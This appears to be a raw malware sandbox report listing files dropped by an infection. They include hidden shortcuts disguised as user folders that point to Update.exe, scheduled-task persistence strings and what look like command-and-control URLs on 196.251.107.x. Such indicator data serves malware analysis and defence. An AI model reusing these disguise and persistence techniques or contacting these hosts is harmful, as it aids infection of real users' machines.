"C:\Users\HAPUBWS\Desktop\Update.exe""- [targetUID: N/A] "Videos - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:57:51 2026 atime=Sat Jun 13 05:57:51 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00b0 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Videos\Update.exe""- [targetUID: N/A] "Music - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:56:50 2026 atime=Sat Jun 13 05:56:50 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00b0 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Music\Update.exe""- [targetUID: N/A] "OneDrive - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:56:50 2026 atime=Sat Jun 13 05:56:50 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x009c Root folder "018D5C66-4533-4307-9B53-224DE2ED1FE6" LocalBasePath "C:\Users\HAPUBWS\OneDrive\Update.exe""- [targetUID: N/A] "jusched.job" has type "Unknown"- Location: [%WINDIR%\Tasks\jusched.job]- [targetUID: 00000000-00006840] "151r4o5f.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: N/A] "base_library.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 627 method=store"- Location: [%TEMP%\_MEI72562\base_library.zip]- [targetUID: 00000000-00005004] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI72562\unicodedata.pyd]- [targetUID: 00000000-00006236] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_zstd.pyd]- [targetUID: 00000000-00006236] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI72562\_decimal.pyd]- [targetUID: 00000000-00006236] "decimal.html" has type "HTML document Unicode text UTF-8 text with very long lines (777) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\Doc\html\library\decimal.html]- [targetUID: 00000000-00001892] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: 00000000-00006236] "2.4.html" has type "HTML document Unicode text UTF-8 text with very long lines (586) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\Doc\html\whatsnew\2.4.html]- [targetUID: 00000000-00001892] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_lzma.pyd]- [targetUID: 00000000-00006236] "puR16eLcIn2o" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 6 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_ctypes.pyd]- [targetUID: 00000000-00006236] "_3DA71D5A-20CC-432F-A115-DFE92379E91F_.3.ver0x0000000000000086.db" has type "Unknown"- [targetUID: N/A] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI72562\_bz2.pyd]- [targetUID: 00000000-00006236] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_socket.pyd]- [targetUID: 00000000-00006236] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: 00000000-00006236] "uuid.html" has type "HTML document Unicode text UTF-8 text with very long lines (1833) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\Doc\html\library\uuid.html]- [targetUID: 00000000-00001892] "XpG4Cs2kmHFa" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\select.pyd]- [targetUID: 00000000-00006236] "email.errors.html" has type "HTML document Unicode text UTF-8 text with very long lines (425) with CRLF line terminators"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\Doc\html\library\email.errors.html]- [targetUID: 00000000-00001892] "v9Gh27HHJonp" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 6 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: 00000000-00005756] "msg_26.txt" has type "RFC 822 mail ASCII text with CRLF line terminators"- [targetUID: N/A] "qj8lku8n.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\qj8lku8n.exe]- [targetUID: 00000000-00005004] "NuclearBomb.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 7 sections"- Location: [%TEMP%\10000460101\NuclearBomb.exe]- [targetUID: 00000000-00006132] "yqfp2qoi.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 7 sections"- [targetUID: N/A] "python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI72562\python314.dll]- [targetUID: 00000000-00005004] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI62362\libcrypto-3.dll]- [targetUID: 00000000-00006236] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI62362\libssl-3.dll]- [targetUID: 00000000-00006236] "mbrbhjeg.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\mbrbhjeg.exe]- [targetUID: 00000000-00004456] "4ec1icgg.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\4ec1icgg.exe]- [targetUID: 00000000-00005156] "1_908328203.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "c1jjz9gn.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\c1jjz9gn.exe]- [targetUID: 00000000-00005352] "cfgz42bd.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "2gia07yv.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "sprd2_1_.exe" has type "Unknown"- [targetUID: N/A] "sprd2.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI72562\VCRUNTIME140.dll]- [targetUID: 00000000-00005004] "C452EBD3E70F269A.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%APPDATA%\C452EBD3E70F269A\C452EBD3E70F269A.exe]- [targetUID: 00000000-00007036] "zgv8x6i1.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%TEMP%\zgv8x6i1.exe]- [targetUID: 00000000-00008040] "yvnupnme.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%TEMP%\yvnupnme.exe]- [targetUID: 00000000-00005352] "0_908322300.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "winhost.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 5 sections"- Location: [%APPDATA%\Microsoft\Windows\Services\winhost.exe]- [targetUID: 00000000-00008040] "bot_x64_1_.exe" has type "Unknown"- [targetUID: N/A] "_isdecmp.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- [targetUID: 00000000-00005756] "Shared Photos.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:51:48 2026 atime=Sat Jun 13 05:51:48 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00c8 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Update.exe""- [targetUID: N/A] "My Documents.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:51:48 2026 atime=Sat Jun 13 05:51:48 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00c8 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Update.exe""- [targetUID: N/A] "Work Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:51:48 2026 atime=Sat Jun 13 05:51:48 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00c8 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Update.exe""- [targetUID: N/A] "iqygowem.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-GCQXSWL7CH.tmp\iqygowem.tmp]- [targetUID: 00000000-00005756] "base_library.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 627 method=store"- Location: [%TEMP%\_MEI62362\base_library.zip]- [targetUID: 00000000-00005004] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\unicodedata.pyd]- [targetUID: 00000000-00006236] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: 00000000-00006236] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_decimal.pyd]- [targetUID: 00000000-00006236] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_ssl.pyd]- [targetUID: 00000000-00006236] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: 00000000-00006236] "QwK59D32bIwv" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 6 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI72562\_ctypes.pyd]- [targetUID: 00000000-00006236] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_bz2.pyd]- [targetUID: 00000000-00006236] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI72562\_socket.pyd]- [targetUID: 00000000-00006236] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI62362\_hashlib.pyd]- [targetUID: 00000000-00006236] "OxhiKh8bnxRR" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI72562\select.pyd]- [targetUID: 00000000-00006236] "PNuveMn6wQJx" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 6 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-EUAHZ1HL3V.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00005756]57:T71a,"" /tr "/create /sc minute /tn "schtasks.exeopen/query /tn "Global\%sOnlineCorExitProcess Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`udt returning'`copy constructor closure'`eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'`local static guard'`typeof'`vcall'`vbtable'`vftable'operator delete new__unaligned__restrict__ptr64__eabi__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(GetProcessWindowStationGetUserObjectInformationWGetLastActivePopupGetActiveWindowMessageBoxWHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuarySaturdayFridayThursdayWednesdayTuesdayMondaySunday !"#$%&'()*+ -./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~6:fJ!Q@NKagj(hMb=LkmSwO/-Rb_chkstkmemsetntdll.dllCreateFileAGetModuleHandleALoadLibraryAWriteFileGetComputerNameAGetProcAddressIsBadReadPtrGetACPlstrlenAInterlockedDecrementSleepGetLastErrorHeapAllocExitProcessKERNEL32.dllwsprintfAUSER32.dllRtlUnwindHeapFreeEncodePointerDecodePointerGetModuleHandleWGetStdHandleGetModuleFileNameWInitializeCriticalSectionAndSpinCountLeaveCriticalSectionEnterCriticalSectionTlsGetValueTlsSetValueInterlockedIncrementSetLastErrorGetCurrentThreadIdUnhandledExceptionFilterSetUnhandledExceptionFilterIsDebuggerPresentTerminateProcessGetCurrentProcessLoadLibraryWGetCPInfoGetOEMCPIsValidCodePageWideCharToMultiByteLCMapStringWMultiByteToWideCharGetStringTypeWIsProcessorFeaturePresent5732282vd0M29DW&2(r{[$$LUuO ," fR'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*! k{E03>DJxf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg`yI]#E0O"9DS8=(l__q5.hG?B4CV-8|e'1'|Q|cvMXjaE0O29DS&=(GL+.5f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]HgrDlCI8TtA9LZ(u*YWQlp;N?J}*2,,s8sz1(ejOK_u/BxbwLR9tC5>o[V-GM="VQriZeOYJA%uaaX~({4uUh0A%e(f)p&=&T xBo~F`;u0O21\;/ybw?c)j_CONUKevgh!g{5510D|vy_J]e6(s5IlP^Wja)L[^Z9DSx:+_TXd d:#1-8t(0`.B~?GW/Pd-]1MFg3IU ezSc49KAL[\Q)Rq-Nyb+cq)$Y_Ir;;uFjS'RAhWjauxs~u@Wu(LY+mUS'=+.53?KB1HG ]*PPj!-420Wg(GENtCUY1tbiTHeagU^/cvMf\kouLy> $sF]Hg*!,;>E0O29Da54BYZhwr=h4CV-8`gw)T|9F2)TJjZAX?%C#p5@L7@%HC0Q<;;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(ga6}h'S4e9@|__rxz'ZQ|Yzyu$sF$OZb{*!,wQ&Q#tK!6&=(K}GoYlRoMeylDf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(5oDvpf}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;.E0;39DQ'He:[E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg*!,;>E0+rxS&=(f}h/CV-8KNU`biTc63BBtShZQ|-3Z*!,;>E0O29DS&=(f}hG4CV-8KNU`'ZQ|cvMXWjal{~:1\knu@wJAL[^e$sF]Hg.data abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ8+8a89M:V:o::;4;T;;"<*<3<<0>0C0S05&5,5>5a5f5k56 6H6d68#8?8E8N8U8w89<9C9]9d9:b:<;D;\;w;>>~>?(?.?9?C?I?S?u? 0&0,0B0Z00i1s11%212<33'4V4\4d46^7t78(828=8x8:+;z;50F01(1s1~12N2a23:4F4Y4k4555^5o5|5<66%7?7H7z78#8(8,808Y8:9:@:D:H:L:P:T:X:\::6;<;B;H;N;T;[;b;i;p;w;~;<#<*0P0v01*1<1N1g13 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3T1\1d1l1t1|11p8t8x8|89 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|99`>d>98:X:x:; ;@;,4044484<4@4D4H4L4P47 7$7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|78 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|89 909T9`9d9h9l9p9? ?$?(?,?8?.li" Heuristic match: "0@.li" Pattern match: "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py#l24-l25" Pattern match: "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#l81-l97" Pattern match: "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py#l11" Pattern match: "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py#l422" Pattern match: "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py#l312" Heuristic match: "0h.li" Heuristic match: "0.li" Heuristic match: "0#.li" Heuristic match: "p .li" Heuristic match: "pi.li" Pattern match: "myimport.zip/mydirectory" Heuristic match: "0!.li" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.metapathfinder.invalidate_caches" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.executionloader.get_filename" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.loader.exec_module" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.inspectloader.get_code" Heuristic match: "po.li" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.inspectloader.is_package" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.pathentryfinder.find_spec" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.inspectloader.get_source" Heuristic match: "__init__.py" Pattern match: "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py#l679-l688" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.loader.create_module" Heuristic match: "0 .li" Heuristic match: "0&.li" Heuristic match: "encodings\__init__.py" Heuristic match: "@ .li" Heuristic match: "0'.li" Heuristic match: "0*.li" Heuristic match: "\__init__.py" Heuristic match: "`m.li" Heuristic match: "pm.li" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\importlib\machinery.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\ctypes\__init__.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\sysconfig\__init__.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\threading.py" Heuristic match: "encodings\_win_cp_codecs.py" Heuristic match: "p^.li" Heuristic match: "encodings\aliases.py" Heuristic match: "encodings\utf_8.py" Heuristic match: "encodings\cp1252.py" Heuristic match: "52.py" Heuristic match: "struct.py" Heuristic match: "c:\struct.py" Heuristic match: "pyimod01_archive.py" Heuristic match: "c:\pyimod01_archive.py" Heuristic match: "09.li" Heuristic match: "``_concatenategenericalias`` from typing.py" Heuristic match: "c:\pyimod02_importers.py" Heuristic match: "pyimod02_importers.py" Heuristic match: "pyimod03_ctypes.py" Heuristic match: "c:\pyimod03_ctypes.py" Heuristic match: "pyimod04_pywin32.py" Heuristic match: "c:\pyimod04_pywin32.py" Heuristic match: "pyiboot01_bootstrap.py" Heuristic match: "ctypes\__init__.py" Heuristic match: "sysconfig\__init__.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\dis.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\ast.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\ctypes\_endian.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\inspect.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\annotationlib.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\_mei62362\importlib\util.py" Heuristic match: "threading.py" Heuristic match: "thread.name" Heuristic match: "it__.py" Heuristic match: "_weakrefset.py" Heuristic match: "types.py" Heuristic match: "%s%c%s.py" Pattern match: "https://docs.python.org/3/library/importlib.html#importlib.abc.resourceloader.get_data" Heuristic match: "0$.li" Heuristic match: "pb.li" Heuristic match: "08.li" Pattern match: "https://en.wikipedia.org/wiki/cache_replacement_policies#least_recently_used_(lru)" Heuristic match: "ctypes\_endian.py" Heuristic match: "pyi_rth_inspect.py" Heuristic match: "inspect.py" Heuristic match: "dis.py" Heuristic match: "annotationlib.py" Heuristic match: "parameter.name"66:T28a6,Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00001892.00000000.118722.6A520000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00001892.00000000.118722.6A520000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00001892.00000000.118722.6A520000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00001892.00000000.118722.6A520000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00001892.00000000.118722.6C2B0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00001892.00000000.118722.6C2B0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00001892.00000000.118722.6C4B0000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00001892.00000000.118722.6C4B0000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00001892.00000000.118722.6C4B0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00001892.00000000.118722.6C4B0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00001892.00000000.118722.6C4B0000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00001892.00000000.118722.6C4B0000.00000004.mdmp") Found URL "https://ntp.msn.com/https://ntp.msn.com/" - Source: "00000000-00001892.00000000.118722.6CA90000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/p/?linkid=255142" - Source: "00000000-00001892.00000000.118722.6CA90000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/create" - Source: "00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html.s5lis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlis5li&jlire._casefixmissing" - Source: "00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002748.00000000.118070.E7B80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002748.00000001.119989.E7B80000.00000004.mdmp") Found URL "http://196.251.107.130/16b022998f754137b60a.phpcommonprogramfiles=c:\program" - Source: "00000000-00004456.00000000.120257.C5020000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004456.00000000.120257.C5020000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00005004.00000000.121171.3B770000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00005004.00000000.121171.3D670000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00005004.00000000.121171.3D670000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00005004.00000000.121171.3D870000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00005004.00000000.121171.3D870000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00005004.00000000.121171.3D870000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00005004.00000000.121171.3D870000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00005004.00000000.121171.3D870000.00000004.mdmp") Found URL "https://ntp.msn.com/https://ntp.msn.com/" - Source: "00000000-00005004.00000000.121171.3DE50000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html.inconsistent" - Source: "00000000-00005004.00000000.121171.3DF12000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/create" - Source: "00000000-00005004.00000000.121171.3E050000.00000004.mdmp") Found URL "https://docs.python.org/3/howto/mro.html.@y" - Source: "00000000-00005004.00000000.121171.3E050000.00000004.mdmp") Found URL "https://github.com/python/importlib_metadata/wiki/development-methodologyfor" - Source: "00000000-00005004.00000000.121171.3E050000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005796.00000000.118386.778C0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005796.00000001.120306.778C0000.00000004.mdmp") Found URL "http://196.251.107.130/h84jjfar/index.phpcrosoftic" - Source: "00000000-00006132.00000000.118412.63A60000.00000004.mdmp") Found URL "http://196.251.107.104/psd8ezaw/index.phpndex.phpttp://196.251.107.104/psd8ezaw/index.phpttp://196.251.107.104/psd8ezaw/index.php??\c:\windows\system32\mswsock.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\mswsock.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\mswsock.dll??\c:\windows\system32\wshqos.dll32\wshqos.dllttp://196.251.107.104/psd8ezaw/index.phpttp://196.251.107.104/psd8ezaw/index.php??\c:\windows\system32\wshqos.dllhyper-v" - Source: "00000000-00006132.00000000.118412.63A60000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006132.00000000.118412.63A60000.00000004.mdmp") Found URL "http://196.251.107.130/h84jjfar/index.phpcrosoftic" - Source: "00000000-00006132.00000001.120333.63A60000.00000004.mdmp") Found URL 